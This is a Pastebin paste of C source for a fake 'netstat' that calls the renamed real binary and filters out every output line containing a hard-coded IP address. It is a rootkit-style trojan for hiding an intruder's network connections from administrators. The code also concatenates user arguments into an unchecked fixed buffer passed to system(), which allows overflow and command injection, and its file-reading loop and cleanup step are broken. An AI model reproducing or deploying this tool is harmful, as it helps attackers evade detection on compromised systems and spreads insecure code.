Guest User

netstat

a guest
Mar 26th, 2010
277
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.07 KB | None | 0 0
  1. #include <stdio.h>
  2.  
  3. #include <stdlib.h>
  4.  
  5. #include <string.h>
  6.  
  7.  
  8.  
  9. #ifdef _WIN32
  10.     #define SO 1
  11. #else
  12.     #define SO 0
  13. #endif
  14.  
  15.  
  16.  
  17.  
  18. int main(int argc, char* argv[]){
  19.  
  20.    
  21.  
  22.     char buff[1024];
  23.     char ejecutable[16];
  24.     char temporal[16];
  25.     int i;
  26.     char miip[16]= "123.123.123.123";
  27.  
  28.     if(SO){
  29.         strcpy(ejecutable, "netstatold.exe ");
  30.         strcpy(temporal, "C:\\temp37a");
  31.     }else{
  32.         strcpy(ejecutable, "netstatold ");
  33.         strcpy(temporal, "/tmp/temp37a");
  34.         }
  35.  
  36.  
  37.     memset(buff, '\0', sizeof(buff));
  38.  
  39.  
  40.  
  41.  
  42.  
  43.     strcpy(buff, ejecutable);
  44.    
  45.  
  46.     for(i=1; i<argc; i++){
  47.  
  48.         strcat(buff, argv[i]);
  49.  
  50.         strcat(buff, " ");
  51.  
  52.     }
  53.  
  54.     strcat(buff, " > ");
  55.     strcat(buff, temporal);
  56.  
  57.  
  58.     system(buff);
  59.  
  60.  
  61.  
  62.     memset(buff, '\0', sizeof(buff));
  63.  
  64.  
  65.     FILE *fp = fopen(temporal, "r");
  66.  
  67.  
  68.     while(!feof(fp)){
  69.  
  70.         fgets(buff, sizeof(buff), fp);
  71.  
  72.         if(strstr(buff, miip)==NULL){   //comprueba la aparcion de la cadena que no queremos!
  73.  
  74.             printf("%s", buff);
  75.  
  76.         }
  77.  
  78.     }
  79.  
  80.     fclose(fp);
  81.    
  82.     memset(buff, '\0', sizeof(buff));
  83.     strcpy(buff, "rm ");
  84.     strcat(buff, temporal);
  85.  
  86.  
  87.     return 0;
  88.  
  89. }
Advertisement
Add Comment
Please, Sign In to add comment